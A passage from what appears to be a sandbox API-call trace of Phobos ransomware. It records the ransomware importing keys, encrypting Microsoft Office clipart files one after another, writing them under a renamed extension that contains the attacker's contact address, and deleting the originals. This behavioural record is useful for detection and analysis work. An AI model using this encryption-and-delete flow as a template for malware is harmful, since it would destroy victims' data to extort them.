"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.020] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0059.020] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.020] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4fe6, lpOverlapped=0x0) returned 1 [0059.030] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4ff0, dwBufLen=0x4ff0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4ff0) returned 1 [0059.030] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4ff0, lpOverlapped=0x0) returned 1 [0059.032] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccf0) returned 1 [0059.032] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.032] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.032] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0059.032] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.032] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.032] CloseHandle (hObject=0x318) returned 1 [0059.032] CloseHandle (hObject=0x308) returned 1 [0059.034] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0059.035] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.035] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=12982) returned 1 [0059.036] CloseHandle (hObject=0x308) returned 1 [0059.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0059.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.036] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.036] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.036] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0059.036] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.036] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x32b6, lpOverlapped=0x0) returned 1 [0059.045] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x32c0) returned 1 [0059.045] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x32c0, lpOverlapped=0x0) returned 1 [0059.046] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0059.046] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.046] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.046] CryptDestroyKey (hKey=0x10ce30) returned 1 [0059.046] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.047] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.047] CloseHandle (hObject=0x308) returned 1 [0059.047] CloseHandle (hObject=0x318) returned 1 [0059.048] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0059.048] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.059] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=8772) returned 1 [0059.059] CloseHandle (hObject=0x318) returned 1 [0059.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0059.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.059] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.059] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.060] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0059.060] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.060] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2244, lpOverlapped=0x0) returned 1 [0059.074] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2250, dwBufLen=0x2250 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2250) returned 1 [0059.074] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2250, lpOverlapped=0x0) returned 1 [0059.075] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ca30) returned 1 [0059.075] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.075] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.075] CryptDestroyKey (hKey=0x10ca30) returned 1 [0059.075] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.075] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0059.075] CloseHandle (hObject=0x318) returned 1 [0059.075] CloseHandle (hObject=0x308) returned 1 [0059.076] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0059.077] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.077] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=11058) returned 1 [0059.077] CloseHandle (hObject=0x308) returned 1 [0059.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0059.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.078] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.078] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.078] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce70) returned 1 [0059.078] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.078] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2b32, lpOverlapped=0x0) returned 1 [0059.085] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2b40) returned 1 [0059.085] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2b40, lpOverlapped=0x0) returned 1 [0059.086] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf30) returned 1 [0059.086] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.086] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.086] CryptDestroyKey (hKey=0x10cf30) returned 1 [0059.086] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.086] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.086] CloseHandle (hObject=0x308) returned 1 [0059.086] CloseHandle (hObject=0x318) returned 1 [0059.087] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0059.088] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.088] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=9818) returned 1 [0059.088] CloseHandle (hObject=0x318) returned 1 [0059.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0059.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.088] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.088] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.089] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce70) returned 1 [0059.089] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.089] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x265a, lpOverlapped=0x0) returned 1 [0059.093] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2660, dwBufLen=0x2660 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2660) returned 1 [0059.093] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2660, lpOverlapped=0x0) returned 1 [0059.094] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d070) returned 1 [0059.094] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.094] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.094] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.094] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.094] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.094] CloseHandle (hObject=0x318) returned 1 [0059.094] CloseHandle (hObject=0x308) returned 1 [0059.095] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0059.096] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.097] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=7862) returned 1 [0059.097] CloseHandle (hObject=0x308) returned 1 [0059.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0059.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.097] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.097] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.097] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0059.097] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.097] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1eb6, lpOverlapped=0x0) returned 1 [0059.102] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1ec0, dwBufLen=0x1ec0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1ec0) returned 1 [0059.102] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1ec0, lpOverlapped=0x0) returned 1 [0059.103] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce70) returned 1 [0059.103] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.103] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.103] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.103] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.103] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.103] CloseHandle (hObject=0x308) returned 1 [0059.103] CloseHandle (hObject=0x318) returned 1 [0059.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program 